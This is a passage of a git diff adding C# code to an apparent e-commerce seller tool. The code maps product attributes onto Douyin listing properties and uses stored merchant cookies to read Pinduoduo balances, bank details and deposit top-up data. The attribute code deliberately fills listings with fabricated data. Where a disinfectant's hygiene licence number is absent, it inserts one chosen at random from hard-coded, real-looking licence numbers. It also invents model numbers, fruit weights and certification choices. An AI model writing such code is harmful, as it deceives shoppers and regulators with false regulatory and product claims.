= apiBrand.shopBrandList(); + if (brandHtml.Contains("\"code\":10000") && brandHtml.Contains("\"data\":[")) + { + return JsonHelper.DeserializeJsonToList(JsonHelper.SerializeObject(JObject.Parse(brandHtml)["data"])); + } + return new List(); + } + } +} diff --git a/Work/BLL/Upload/UploadPropertyBLL.cs b/Work/BLL/Upload/UploadPropertyBLL.cs new file mode 100644 index 0000000..e77cd14 --- /dev/null +++ b/Work/BLL/Upload/UploadPropertyBLL.cs @@ -0,0 +1,849 @@ +using AllBase; +using AllBase.Model.Result; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Work.DouyinApiClass; + +namespace Work.BLL.Upload +{ + public class UploadPropertyBLL + { + /// + /// 是否模糊匹配属性选项 + /// + public static bool IsFuzzyMatching = false; + + public static string getCatePropertyInterface(string c3, DouShopLoginInfo shop, ProductCollectBase pc) + { + //string url = "https://fxg.jinritemai.com/product/tproduct/formatTpl?category_leaf_id=" + c3; + //string htmlx = GetPostTaobaoHtml.UploadTaobao(url, "", true, shop.Cookies); + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("category_leaf_id", c3); + string result = api.GetCateProperty(); + return result; + } + + public CatePropertyResponseInfo getCatePropertyInterfaceV2(string c3, DouShopLoginInfo shop) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("category_leaf_id", c3); + string html = api.GetCatePropertyV2(); + if (html.Contains("access_token已过期")) + { + shop.ApiAuthStatus = "未授权"; + } + + if (!html.Contains("\"required\"")) + { + //return ""; + } + + CatePropertyResponseInfo cateProperyInfo; + try + { + cateProperyInfo = JsonConvert.DeserializeObject(html); + return cateProperyInfo; + } + catch + { + cateProperyInfo = new CatePropertyResponseInfo(); + } + return cateProperyInfo; + } + + /// + /// 根据服务端返回的类目属性要求分析获取属性字段 + /// + /// + /// + /// + /// + public string GetCatePropertyAnalysis(CatePropertyResponseInfo cateProperyInfo, DouShopLoginInfo shop, ProductCollectBase pcb) + { + if (cateProperyInfo?.data?.data == null) + { + return "{}"; + } + + //if (property == null || !property.Contains("货号")) + // property = "货号|" + from_name + p.from_id.ToString() + "^" + property; + + // 拆分拼多多属性中含 "/" 的集合属性,如 "key":"衣长/袖长","value":"常规款/短袖" + var props = pcb.Prop.Where(p => p.Key.Contains("/")).ToList(); + foreach (var pr in props) + { + var prKeys = pr.Key.Split(new char[] { '/' }, StringSplitOptions.RemoveEmptyEntries); + var prValues = pr.Value.Split(new char[] { '/' }, StringSplitOptions.RemoveEmptyEntries); + if (prKeys.Length == prValues.Length) + { + for (int j = 0; j < prKeys.Length; j++) + { + pcb.Prop.Add(new KeyValueBase() { Key = prKeys[j], Value = prValues[j] }); + } + pcb.Prop.Remove(pr); + } + } + + Dictionary> dicProp = new Dictionary>(); + string html = ""; + + for (int i = 0; i < cateProperyInfo.data.data.Count; i++) + { + string pName = ""; + string pId = "0"; + var douyinProp = cateProperyInfo.data.data[i]; + + var upProp = pcb.Prop.Find(pr => pr.Key == douyinProp.property_name); + if (upProp == null) + { + var upProps = pcb.Prop.Where(pr => UpProperty2DouyinPropertyNameConverter(pr.Key, douyinProp.property_name) == douyinProp.property_name).ToList(); + upProp = upProps?.Find(pr => UpProperty2DouyinPropertyValueConverter(pr.Value, douyinProp.options).Count > 0); + if (upProp == null) + upProp = upProps?.FirstOrDefault(); + } + + var options = ""; + if (douyinProp.options?.FirstOrDefault() != null) + options = string.Join(",", douyinProp.options?.Select(o => o.name)); + var x = html; + + #region 优先单独处理特殊属性 + if (douyinProp.property_name == "品牌") + { + if (pcb.Prop.Any(pr => pr.Key == "品牌") && pcb.Prop.Any(pr => pr.Key == "品牌编号")) + pName = pcb.Prop.FirstOrDefault(pr => pr.Key == "品牌").Value; + else if (douyinProp.required) + pName = "无品牌"; + + if (!string.IsNullOrEmpty(pName)) + { + html += "^品牌|" + pName; + } + goto GetNextProperty; + } + if (douyinProp.property_name == "型号") + { + if (!douyinProp.required && (upProp == null || upProp.Value?.Length < 4)) + continue; + + upProp = pcb.Prop.FirstOrDefault(pr => pr.Key == "型号" && pr.Value != "缺省"); + if (upProp != null) + { + pName = upProp.Value; + } + else + { + pName = Randomx.GetWord(2) + "-" + Randomx.GetNumber(Randomx.GetId(3, 6)); + } + + if (!string.IsNullOrEmpty(pName)) + { + var op = douyinProp.options.Find(o => o.name == pName); + if (op != null) + { + pId = op.value; + } + else if (douyinProp.diy_type == 1) + { + pName = "$diy$" + pName; + } + + html += "^型号|" + pName; + } + goto GetNextProperty; + } + if (douyinProp.property_name == "适用型号" && douyinProp.required) + { + upProp = pcb.Prop.FirstOrDefault(pr => pr.Key.Contains("适用型号") && pr.Value != "缺省"); + if (upProp != null) + pName = upProp.Value; + else + pName = Randomx.GetWord(Randomx.GetId(2, 5)) + "-" + Randomx.GetNumber(Randomx.GetId(3, 8)); + + if (!string.IsNullOrEmpty(pName)) + { + html += "^适用型号|" + pName; + } + goto GetNextProperty; + } + if (douyinProp.property_name == "产地" && (upProp == null || douyinProp.options?.FirstOrDefault(o => o.name == upProp.Value) == null)) + { + if (!douyinProp.required) + continue; + + if (douyinProp.options.Count > 0) + { + var op = douyinProp.options.Find(o => o.name == "中国大陆"); + if (op == null) + { + upProp = pcb.Prop.FirstOrDefault(p => p.Key.Contains("产地") && p.Key != "产地"); + if (upProp != null) + op = douyinProp.options?.FirstOrDefault(o => o.name == upProp.Value); + } + if (op != null) + { + pId = op.value; + pName = op.name; + html += "^产地|" + pName; + goto GetNextProperty; + } + } + } + if (douyinProp.property_name == "单果重量") + { + // 水果生鲜直接上传特例 + if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜"))) + { + pName = Randomx.GetId(1, 6) + "00"; + html += "^单果重量|" + pName; + goto GetNextProperty; + } + } + if (douyinProp.property_name == "单果重量(g)") + { + // 水果生鲜直接上传特例 + if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜"))) + { + if (html.Contains("单果重量|")) + pName = BaseRegex.GetMatchRegex(ref html, "单果重量|(\\d{1,10})")[1].Groups[0].ToString(); + else + pName = Randomx.GetId(1, 6) + "00"; + html += "^单果重量(g)|" + pName; + goto GetNextProperty; + } + } + if (douyinProp.property_name == "包装方式") + { + // 水果生鲜直接上传特例 + if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜")) && douyinProp.options.Any(o => o.name == "食用农产品")) + { + var op = douyinProp.options.Find(o => o.name == "食用农产品"); + pId = op.value; + pName = "食用农产品"; + html += "^包装方式|" + pName; + goto GetNextProperty; + } + } + if (douyinProp.property_name == "品质认证") + { + // 水果生鲜、茶叶、食品保健直接上传特例(选无认证不用填认证证书) + if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜") + || pcb.main_cat_name.Contains("茶") || pcb.main_cat_name.Contains("食品保健")) + && douyinProp.options.Any(o => o.name == "无认证" || o.name == "无认证认证")) + { + var op = douyinProp.options.Find(o => o.name == "无认证" || o.name == "无认证认证"); + pId = op.value; + pName = op.name; + html += "^品质认证|" + pName; + goto GetNextProperty; + } + } + if (douyinProp.property_name == "贮存条件") + { + if (upProp == null) + upProp = pcb.Prop.Find(pr => pr.Key == "储藏方法"); + PropertiesValuesBase op = null; + if (upProp != null) + op = douyinProp.options.FirstOrDefault(o => upProp.Value.Contains(o.name)); + else + op = douyinProp.options.FirstOrDefault(o => o.name == "常温"); + if (op == null) + op = douyinProp.options.FirstOrDefault(); + if (op != null) + { + pId = op.value; + pName = op.name; + } + if (pName != null) + html += "^贮存条件|" + pName; + goto GetNextProperty; + } + if (douyinProp.property_name == "食品生产许可证编号") + { + var qualify = pcb.qualifications?.FirstOrDefault(q => douyinProp.property_name.Contains(q.quality_name)); + if (qualify != null) + { + pName = qualify.quality_number; + html += "^食品生产许可证编号|" + pName; + } + else if (!string.IsNullOrEmpty(upProp?.Value)) + { + pName = upProp.Value; + html += "^食品生产许可证编号|" + pName; + } + goto GetNextProperty; + } + if (douyinProp.property_name.Contains("是否为有机食品")) + { + var op = douyinProp.options.FirstOrDefault(o => o.name == "否"); + if (op == null) + op = douyinProp.options.LastOrDefault(); + + pId = op.value; + pName = op.name.Trim(); + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + if (douyinProp.property_name == "是否有导购视频") + { + var op = douyinProp.options.FirstOrDefault(o => o.name == "否"); + if (op == null) + continue; + + pId = op.value; + pName = op.name.Trim(); + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + if (douyinProp.property_name == "单件净含量") + { + if (upProp == null && douyinProp.type == "text") + { + upProp = pcb.Prop.FirstOrDefault(p => p.Key == "净含量"); + } + } + if (douyinProp.property_name == "茶种类") + { + if (upProp == null) + { + var op = douyinProp.options.FirstOrDefault(o => pcb.name.Contains(o.name)); + if (op == null) + continue; + + pId = op.value; + pName = op.name.Trim(); + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + } + if (douyinProp.property_name == "生产企业名称") + { + } + if (douyinProp.property_name == "糕点种类" && !douyinProp.required) + { + } + if (douyinProp.property_name == "特产品类" && !douyinProp.required) + { + } + if (douyinProp.property_name == "款式") + { + } + if (douyinProp.property_name == "包装方式") + { + if (douyinProp.required == true) + { + if (upProp == null && pcb.main_cat_name == "家纺家具家装") + { + if (douyinProp.options.Count > 0) + { + var op = douyinProp.options.LastOrDefault(); + pId = op.value; + pName = op.name.Replace("/", "%2F"); + html += "^包装方式|" + op.value; // 此处只能用value不能用name + } + goto GetNextProperty; + } + + } + } + #endregion + + #region 通用属性操作 + if (upProp != null && upProp.Key == "消毒品卫生许可证编号" && !upProp.Value.Contains("消证字")) + { + string[] arr = { "粤卫消证字[2012]第1140号", "粤卫消证字[2020]-50-第0144号", "鄂卫消证字(2010)第(0020)号", "(苏)卫消证字(2014)第3210-0036号", "(津)卫消证字(2012)第0408号" }; + upProp.Value = arr[Randomx.GetId(arr.Length)]; + } + + // 该属性不是必填时,上家总店商品详情没有此属性就跳过 + if (upProp == null && !douyinProp.required) + { + continue; + } + + #region 处理面料、材质、含量属性 + if (douyinProp.property_name.Contains("面料") || + douyinProp.property_name.Contains("材质") || + douyinProp.property_name.Contains("含量")) + { + // 如果上家没有对应属性,在避免违规的情况下,按照以下规则处理属性填写逻辑 + if (upProp == null) + { + // 含量如果有多少多少以下,选多少多少以下 + if (string.IsNullOrEmpty(pName) && douyinProp.property_name.Contains("含量") && douyinProp.options?.FirstOrDefault(o => o.name.Contains("以下")) != null) + { + var op = douyinProp.options?.FirstOrDefault(o => o.name.Contains("以下")); + pId = op.value; + pName = op.name; + } + if (!string.IsNullOrEmpty(pName)) + { + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + } + else + { + // 特殊处理成分含量 + if (douyinProp.property_name.Contains("含量") && douyinProp.options?.FirstOrDefault() != null) + { + string upPropValue = BaseRegex.GetMatchRegexString(upProp.Value, @"([1-9]\d*\.?\d*)|(0\.\d*[1-9])%"); + if (string.IsNullOrEmpty(upPropValue)) + upPropValue = "0"; + + // 抖音成分含量里居然有不是数值单位的选项,如:棉、聚酯纤维等,将这些选项过滤出去 + var opts = douyinProp.options.Where(o => BaseRegex.GetMatchRegexString(o.name, @"([\w\W]+?)%")?.ParseToDecimal() >= 0).ToList(); + opts = opts.OrderBy(o => BaseRegex.GetMatchRegexString(o.name, @"([\w\W]+?)%")?.ParseToDecimal()).ToList(); + foreach (var op in opts) + { + string propValue = BaseRegex.GetMatchRegexString(op.name, @"([\w\W]+?)%"); + if (propValue?.ParseToDecimal() >= upPropValue.ParseToDecimal()) + { + pId = op.value; + pName = op.name.Trim(); + break; + } + else if (opts.Last(o => o.name != "100%") == op && op.name.Contains("以上") && upPropValue.ParseToDecimal() > propValue?.ParseToDecimal()) + { + pId = op.value; + pName = op.name.Trim(); + break; + } + } + if (pName == "") + { + var op = douyinProp.options.FirstOrDefault(o => o.name.Contains("以下")); + if (op == null) + op = douyinProp.options.FirstOrDefault(o => o.name.Contains("其他")); + if (op != null) + { + pId = op.value; + pName = op.name.Trim(); + } + } + if (!string.IsNullOrEmpty(pName)) + { + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + } + } + // 如果上家对应面料、材质、含量属性不存在且没有使用模糊匹配,则直接跳过该属性,不论是否必填 + if ((upProp == null + || UpProperty2DouyinPropertyValueConverter(upProp.Value, douyinProp.options).Count == 0) + && !IsFuzzyMatching) + { + // 属性为字符型且上家不为空的直接填写上家值 + if (string.IsNullOrEmpty(pName) && douyinProp.type == "text") + { + if (upProp != null) + pName = upProp.Value; + else if (douyinProp.property_name.Contains("材质")) + pName = "普通材质"; + else if (douyinProp.property_name.Contains("净含量")) + pName = "<100"; + else if (douyinProp.property_name.Contains("有效成分含量")) + pName = "<29%"; + else + pName = "其他/Other"; + + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + + // 支持自定义,填写其他 + if (douyinProp.diy_type == 1) + { + if (upProp == null || upProp.Value == "其他") + pName = "$diy$其他/Other"; + else + pName = "$diy$" + upProp.Value; + + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + continue; + } + } + #region 模糊查找上家商品面料、材质、含量属性 + if (douyinProp.property_name.Contains("面料") || douyinProp.property_name.Contains("材质")) + { + if (upProp == null) + upProp = pcb.Prop.Find(pr => pr.Key.Contains("面料") || pr.Key.Contains("材质")); + if (upProp == null) + { + var op = douyinProp.options?.Find(o => pcb.name.Contains(o.name)); + if (op != null) + { + pId = op.value; + pName = op.name; + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + } + } + #endregion + #endregion + + if (upProp == null && douyinProp.required && douyinProp.options?.FirstOrDefault() == null) + { + if (douyinProp.property_name == "备案/批准文号") + { + pName = ""; + } + if (douyinProp.property_name == "CCC证书编号") + { + pName = ""; + } + if (douyinProp.property_name == "吊牌价") + { + pName = (pcb.market_price == 0 ? pcb.price * 2 : pcb.market_price).ToString(); + } + if (douyinProp.property_name == "保质期") + { + pName = "30"; + } + if (douyinProp.property_name == "生产企业名称") + { + //pName = "工厂店"; //pvalue = "清风"; + pName = shop.ShopAccount; + } + if (douyinProp.property_name == "上市年份季节") + { + pName = DateTime.Now.AddMonths(-3).Year.ToString(); + } + if (douyinProp.property_name == "毛重") // todo: 这种没有如何处理 + { + pName = "暂无数据"; + } + if (douyinProp.property_name == "包装体积") + { + pName = "暂无数据"; + } + //if (string.IsNullOrEmpty(pName)) + // pName = "" + Randomx.GetId(1000, 9999); + + if (!string.IsNullOrEmpty(pName)) + { + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + } + + // 上家属性不为空 + if (upProp != null) + { + // 抖音类目属性为文本类型时 + if (douyinProp.type == "text") + { + pName = upProp.Value; + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + // 抖音类目属性非文本类型且选项为空时 + else if (douyinProp.options?.FirstOrDefault() == null) + { + pName = upProp.Value.ToString().Trim(); + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + // 抖音类目属性列表数量大于0且与上家匹配时 + else if (UpProperty2DouyinPropertyValueConverter(upProp.Value, douyinProp.options).Count > 0) + { + var ops = UpProperty2DouyinPropertyValueConverter(upProp.Value, douyinProp.options); + foreach (var op in ops) + { + pName += op.name + ","; + pId += op.value + ","; + } + pName = pName.Trim(','); + pId = pId.Trim(','); + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + // 模糊匹配时去找类似的选项 + else if (douyinProp.required && IsFuzzyMatching && + douyinProp.options?.FirstOrDefault(o => upProp.Value.Contains(o.name) && o.name.Length > upProp.Value.Length / 2M) != null) + { + var optionsTemp = douyinProp.options?.Where(o => upProp.Value.Contains(o.name) && o.name.Length > upProp.Value.Length / 2M).ToList(); + if (optionsTemp.Count > 1) + optionsTemp = optionsTemp.Take(1).ToList(); + foreach (var op in optionsTemp) + { + pId = op.value; + pName += op.name + ","; + if (douyinProp.type != "multi_select") + break; + } + pName = pName.Trim(','); + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + } + + if (upProp == null && douyinProp.required) + { + if (douyinProp.options?.FirstOrDefault() != null) + { + var op = douyinProp.options.FirstOrDefault(o => o.name.Contains("其他") || + o.name.Contains("不限") || + o.name.Contains("默认") || + o.name.Contains("通用") || + o.name.Contains("中性") || + o.name.Contains("缺省")); + if (op != null) + { + pName = op.name.ToString().Trim(); + pId = op.value; + html += "^" + douyinProp.property_name + "|" + pName; + goto GetNextProperty; + } + } + } + + // 前面都未能成功匹配 + if (pName == "" && douyinProp.required) + { + if (douyinProp.property_name == "测量功能") + { + var op = douyinProp.options?.Find(o => pcb.name.Contains(o.name)); + } + if (douyinProp.property_name == "图案") + { + var op = douyinProp.options?.Find(o => pcb.name.Contains(o.name.Replace("图案", ""))); + if (op != null) + { + pName = op.name.ToString().Trim(); + pId = op.value; + goto GetNextProperty; + } + } + // 是否可以随意填写值 + if (douyinProp.diy_type == 1) + { + if (upProp != null && upProp.Value != "其他" && upProp.Value != "其他/other") + pName = "$diy$" + upProp.Value; + else if (douyinProp.property_name == "适用年龄") + pName = "$diy$通用"; + else if (douyinProp.property_name == "植物品种") + { + int subIndex = Randomx.GetId(15, 20); + var subText = pcb.name.Length > subIndex ? pcb.name.Substring(0, subIndex) : pcb.name; + pName = "$diy$" + subText; + } + else + pName = "$diy$其他/Other"; + } + else + if (douyinProp.type == "text") + { + if (douyinProp.property_name == "产品名称") + pName = pcb.name; + if (douyinProp.property_name == "连接方式" || douyinProp.property_name == "兼容平台") + pName = "其他/Other"; + else + pName = "通用"; + } + else + if (douyinProp.options?.FirstOrDefault() != null) + { + if (upProp != null) + { + var ops = douyinProp.options.Where(o => ("," + upProp.Value + ",").Contains("," + o.name + ",")).ToList(); + if (ops.Count > 0) + { + pName = pId = ""; + foreach (var op in ops) + { + pName += op.name + ","; + pId += op.value + ","; + } + pName = pName.Trim(','); + pId = pId.Trim(','); + } + } + + if (string.IsNullOrEmpty(pName)) + { + var op = douyinProp.options.Find(o => o.name == "正常规格"); + if (op == null && douyinProp.property_name == "适用年龄") + { + op = douyinProp.options.Last(o => o.name.Contains("周岁")); + } + if (op == null) + op = douyinProp.options[Randomx.GetId(douyinProp.options.Count - 1)]; + pName = op.name.ToString().Trim(); + pId = op.value; + } + } + if (!string.IsNullOrEmpty(pName)) + html += "^" + douyinProp.property_name + "|" + pName; + else + continue; + } + + GetNextProperty:; + + if (!string.IsNullOrEmpty(pName)) + { + var pNames = pName.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + var pIds = pId.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + + dicProp[douyinProp.property_id.ToString()] = new List(); + for (int j = 0; j < pIds.Length; j++) + { + var formatItem = new product_format_new_item + { + diy_type = pNames[j].StartsWith("$diy$") ? 1 : 0, + name = pNames[j].Replace("$diy$", ""), + value = pIds[j].ParseToLong() + }; + dicProp[douyinProp.property_id.ToString()].Add(formatItem); + } + } + #endregion + } + var result = html.Replace("^^", "^").Trim('^').Replace("/", "\\/").Replace("$diy$", ""); + //return result; + var resultNew = JsonHelper.SerializeObject(dicProp).Replace("\"", "\\\""); + return resultNew; + } + + public string UpProperty2DouyinPropertyNameConverter(string upPropName, string douyinPropName) + { + if (dicPropNameConverter.Keys.Contains(upPropName)) + { + if (("," + dicPropNameConverter[upPropName] + ",").Contains("," + douyinPropName + ",")) + return douyinPropName; + } + return upPropName; + } + + Dictionary dicPropNameConverter { get; } = new Dictionary() { + { "主材质", "材质" }, + { "拍杆材质", "材质" }, + { "外壳材质", "材质" }, + { "材质种类", "材质" }, + { "面料分类", "材质" }, + { "材质成分", "面料材质,面料材质成分含量,材质"}, + { "面料", "面料材质" }, + { "面料俗称", "面料材质,材质" }, + { "材质", "面料材质,主材质" }, + { "被里材质", "被里材质" }, + { "被里面料俗称", "被里材质" }, + { "被里材质含量", "被里成分含量" }, + { "被面材质", "被面材质" }, + { "被面材质含量", "被面成分含量" }, + { "成分含量", "面料成分含量" }, + { "衣柜面料", "饰面材质" }, + { "饰面面料", "面料材质" }, + { "鞋面材质", "帮面材质,材质" }, + { "刷毛材质", "材质" }, + { "储藏方法", "贮存条件" }, + { "适用人群", "适用对象" }, + { "是否支持定制", "是否可定制" }, + { "清扫模式", "清洁类型" }, + { "3C认证证书编号", "CCC证书编号" }, + { "上市时节", "上市年份季节" }, + { "适用年龄段", "适用年龄" }, + { "产品类型", "鞋垫种类" }, + { "杯身材质", "材质" }, // 水杯 水杯女可爱大容量塑料杯可爱学生便携夏季大肚带吸管杯子男高颜值 + { "净含量", "有效成分含量" }, + { "续航时间", "电池使用时间"}, + { "防水级别", "防水等级" }, + { "绳材质", "材质" }, + { "内里材质", "填充物种类" }, + }; + + public List UpProperty2DouyinPropertyValueConverter(string upPropName, List options) + { + if (options?.Find(o => o.name.ToLower() == upPropName.ToLower()) != null) + return options.Where(o => o.name.ToLower() == upPropName.ToLower()).ToList(); + if (options?.Find(o => o.name.ToLower() == upPropName.ToLower() + "镶嵌") != null) + return options.Where(o => o.name.ToLower() == upPropName.ToLower() + "镶嵌").ToList(); + if (dicPropValueConverter.Keys.Contains(upPropName.ToLower())) + { + var ops = options.Where(o => ("," + dicPropValueConverter[upPropName.ToLower()] + ",").Contains("," + o.name + ",")).ToList(); + if (ops.Count > 0) + return ops; + } + if (upPropName.Contains("%")) + { + string[] strArr = new string[] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "." }; + foreach (var item in strArr) + { + upPropName = upPropName.Replace(item, ""); + } + var upPropNames = upPropName.Split(new string[] { "%" }, StringSplitOptions.RemoveEmptyEntries); + var upPropNameConverted = ""; + foreach (var item in upPropNames) + { + if (dicPropValueConverter.Keys.Contains(item.ToLower().Trim())) + upPropNameConverted += dicPropValueConverter[item.ToLower().Trim()] + ","; + else + upPropNameConverted += item.ToLower().Trim() + ","; + } + var ops = options.Where(o => ("," + upPropNameConverted.ToLower() + ",").Contains("," + o.name + ",")).ToList(); + + if (ops.Count > 0) + return ops; + } + return new List(); + } + + Dictionary dicPropValueConverter { get; } = new Dictionary() { + { "人造革", "聚酯纤维" }, + { "涤纶", "聚酯纤维" }, + { "丝绵", "聚酯纤维" }, + { "仿丝棉", "聚酯纤维" }, + { "涤纶(聚酯纤维)", "聚酯纤维,涤纶" }, + { "粘胶纤维(粘纤)", "粘胶纤维,粘纤" }, + { "聚酰胺纤维(锦纶)", "聚酰胺纤维,锦纶" }, + { "聚氨酯弹性纤维(氨纶),", "聚氨酯弹性纤维,氨纶" }, + { "记忆棉(聚氨酯)", "记忆棉,聚氨酯" }, + { "二层牛皮", "牛剖层皮革" }, + { "二层牛皮(除牛反绒)", "牛剖层皮革"}, + { "超纤皮", "牛剖层皮革" }, + { "pu", "聚氨酯,人造革" }, + { "吸口滚刷互换式", "滚刷吸口互换" }, + { "科技布", "涤纶" }, + { "毛毡" , "聚酯纤维" }, + { "人造纤维", "仿生纤维毛" }, + { "925银", "925银镶嵌" }, + { "绸缎", "丝绸" }, + { "棉布", "棉" }, + { "pvc", "PVC(聚氯乙烯)"}, + { "包芯丝", "尼龙,氨纶"}, + { "全碳素", "碳纤维" }, + { "棉麻", "棉,亚麻" }, + { "帆布", "纺织" }, + { "天丝(莱赛尔纤维)", "天丝,莱赛尔纤维" }, + { "天丝", "莱赛尔纤维" }, + { "eva", "EVA发泡胶" }, + { "蚕丝", "桑蚕丝" }, + { "弹力布", "纺织" }, + { "发泡橡胶", "橡胶发泡" }, + { "复合底", "橡胶+EVA" }, + { "冰丝", "粘胶纤维" }, + { "橡胶", "橡胶底" }, + { "丁腈", "NBR,nbr"}, + { "丁腈橡胶", "NBR,nbr"}, + { "棉", "纺织" }, + }; + } + + public class product_format_new_item + { + public string name { get; set; } + public long value { get; set; } + public long diy_type { get; set; } + } +} diff --git a/Work/CollectClass/BankWithDraw.cs b/Work/CollectClass/BankWithDraw.cs new file mode 100644 index 0000000..139ee00 --- /dev/null +++ b/Work/CollectClass/BankWithDraw.cs @@ -0,0 +1,230 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Work.Api; +using Work.ManageClass; + +namespace Work.CollectClass +{ + public class BankWithDraw + { + public static string Name = "账户提现"; + public static string Name2 = "账户充值"; + public string bankPhone; + public int amount; + public string code; + public ShopChatBase currentShop; + public static List TempShops = new List(); + public void GetWithDraw() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + string url = "https://mms.pinduoduo.com/uranus/api/account/balance/info"; + string refere = "https://mms.pinduoduo.com/exp/mallPromotion"; + string data = "{}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + decimal accountMoney = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100m; + decimal available= BaseRegex.GetDecimalJson(ref html, "availableBalance") / 100m; + if (available < 0) + available = 0; + url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"statusList\":[1,2]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + string bankName = BaseRegex.GetStringJson(ref html, "bankName"); + string bankAccountName = BaseRegex.GetStringJson(ref html, "bankAccountName"); + string bankAccountId = BaseRegex.GetStringJson(ref html, "bankAccountId"); + string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone"); + string bankCard = bankName + " " + bankAccountName + " " + bankAccountId; + + //保证金 + url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + //保证金 + decimal freeBalance = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100; + + WithDraw w = new WithDraw(); + w.bankName = bankName; + w.bankAccountName = bankAccountName; + w.bankAccountId = bankAccountId; + w.bankPhone = bankPhone; + w.accountMoney = available;// available; + w.freeBalance = freeBalance; + if (string.IsNullOrEmpty(bankName)) + { + w.status = "没有绑定银行卡"; + } + shop.withDraw = w; + TempShops.Add(shop); + LogSave.Add(Name, "商铺" + shop.ShopName + ",获取数据成功"); + } + } + + public void GetChongZhi() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + string url = "https://mms.pinduoduo.com/uranus/api/deposit/mallDepositWithPending"; + string refere = "https://mms.pinduoduo.com"; + string data = "{}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + long showDepositBalance = BaseRegex.GetLongJson(ref html, "showDepositBalance"); + long thresholdBalance = BaseRegex.GetLongJson(ref html, "thresholdBalance"); + long sub = thresholdBalance - showDepositBalance; + if (sub <= 0) + { + LogSave.Add(Name2, "商铺" + shop.ShopName + ",不需要充值,跳过"); + continue; + } + url = "https://mms.pinduoduo.com/uranus/cashier/preCharge/shortUrl"; + data = "{\"amount\":"+sub+",\"chargeType\":1,\"clientType\":1,\"successUrl\":\"/finance/deposit\",\"failedUrl\":\"/finance /deposit\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + string shortUrl = BaseRegex.GetStringJson(ref html, "result"); + + url = "https://mms.pinduoduo.com/uranus/cashier/preCharge/information"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"shortUrl\":\""+shortUrl+"\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + long availableBalance = BaseRegex.GetLongJson(ref html, "availableBalance"); + if (availableBalance < sub) + { + LogSave.Add(Name2, "商铺" + shop.ShopName + ",货款可用余额小于充值金额,跳过"); + continue; + } + + url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"statusList\":[1,2]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone"); + if (string.IsNullOrEmpty(bankPhone)) + continue; + WithDraw w = new WithDraw(); + w.freeBalance = showDepositBalance / 100M; + w.bankPhone = bankPhone; + w.availableBalance = availableBalance; + w.subMoney = sub; + w.shortUrl = shortUrl; + shop.withDraw = w; + TempShops.Add(shop); + LogSave.Add(Name2, "商铺" + shop.ShopName + ",获取数据成功"); + } + } + public void GetSingleWithDraw() + { + string url = "https://mms.pinduoduo.com/uranus/api/mall/balance"; + string refere = "https://mms.pinduoduo.com/exp/mallPromotion"; + string data = "{}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies); + decimal accountMoney = BaseRegex.GetDecimalJson(ref html, "result") / 100m; + url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"statusList\":[1,2]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies); + string bankName = BaseRegex.GetStringJson(ref html, "bankName"); + string bankAccountName = 